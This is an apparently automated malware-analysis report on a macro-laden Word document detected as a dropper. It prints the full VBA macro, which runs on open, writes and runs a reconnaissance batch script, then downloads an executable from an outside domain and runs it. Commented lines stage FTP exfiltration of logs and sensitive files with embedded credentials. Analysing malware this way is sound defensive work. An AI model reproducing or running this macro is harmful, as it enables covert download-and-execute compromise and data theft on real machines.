MALICIOUS
398
Risk Score
Heuristics 11
-
ClamAV: Doc.Dropper.Agent-6359339-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6359339-0
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set oShell = CreateObject("Wscript.Shell") -
VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPERThe macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.Matched line in script
Sub AutoOpen() -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.write xHttp.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set oShell = CreateObject("Wscript.Shell") -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
strArgs = "cmd /c AVUpdate.bat" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKSDocument contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: https://www.ups.com/
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://sharkswithlaserbeams.biz/avUPdater.dat Referenced by macro
- http://sharkswithlaserbeams.biz/avUReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- https://www.ups.com/Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3467 bytes |
SHA-256: 36e810b6a3147515b3ac5ce2af5ab023ad9eddc9289980af3c7a3641eee2a69c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
'Declaration of Windows API Function
'Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
' ByVal szURL As FileSystemObject, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub AutoOpen()
Dim filesize As Integer
Dim FlName As String
FlName = "C:\Users\Public\Documents\AVUpdate.bat"
FlText = "@ECHO OFF"
FlText1 = "hostname >> C:\Users\Public\Documents\UpdaterLog.txt"
FlText2 = "whoami >> C:\Users\Public\Documents\UpdaterLog.txt"
FlText3 = "tasklist >> C:\Users\Public\Documents\UpdaterLog.txt"
FlText4 = "nslookup lassatt.com >> C:\Users\Public\Documents\UpdaterLog.txt"
FlText5 = "icacls file /grant Everyone >> C:\Users\Public\Documents\UpdaterLog.txt"
FlText8 = "vssadmin list volumes >> C:\Users\Public\Documents\UpdaterLog.txt"
FlText9 = "vssadmin list shadows >> C:\Users\Public\Documents\UpdaterLog.txt"
FlTextD = "cd C:\Users\Public\Documents\"
' FlText10 = "echo open 69.89.20.50 > MyDat.dat"
' FlText11 = "echo mw_download_demo@lassatt.com>>MyDat.dat"
' FlText12 = "echo 1234qwer!@#$QWER>>MyDat.dat"
' FlText15 = "echo PUT C:\Users\Public\Documents\UpdaterLog.txt >> MyDat.dat"
' FlText14 = "echo PUT C:\Users\Public\Documents\SensitiveInfo.* >> MyDat.dat"
' FlText16 = "echo quit >> MyDat.dat"
FlText18 = "ping -n 3 127.0.0.1 && del /s AVUpdate.bat"
'~~> get a free file handle
filesize = FreeFile()
'~~> Open your file
Open FlName For Output As #filesize
'~~> Export Text
Print #filesize, FlText
Print #filesize, FlText1
Print #filesize, FlText2
Print #filesize, FlText3
Print #filesize, FlText4
Print #filesize, FlText5
Print #filesize, FlText8
Print #filesize, FlText9
Print #filesize, FlTextD
' Print #filesize, FlText10
' Print #filesize, FlText11
' Print #filesize, FlText12
' Print #filesize, FlText14
' Print #filesize, FlText15
' Print #filesize, FlText16
Print #filesize, FlText18
Close #filesize
Set oShell = CreateObject("Wscript.Shell")
Dim strArgs, strArgs1, strArgs2 As String
ChDir ("C:\Users\Public\Documents")
strArgs = "cmd /c AVUpdate.bat"
oShell.Run strArgs, 0, True
' strArgs2 = "cmd /c del MyDat.dat"
' oShell.Run strArgs2, 0, False
Set ObjA = CreateObject("scripting.filesystemobject")
If ObjA.folderexists("C:\Temp\") <> True Then
MkDir "C:\Temp\"
End If
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://sharkswithlaserbeams.biz/avUPdater.dat", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.write xHttp.responseBody
.savetofile "C:\Temp\avUPdater.exe", 2 '//overwrite
End With
ChDir ("C:\Temp")
strArgs1 = "cmd /c avUPdater.exe"
oShell.Run strArgs1, 0, False
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 23040 bytes |
SHA-256: 2d010e9a0de7bdc4cb854dc675f3fd9bf48e77eefbd6a399c9c898af9bc07443 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.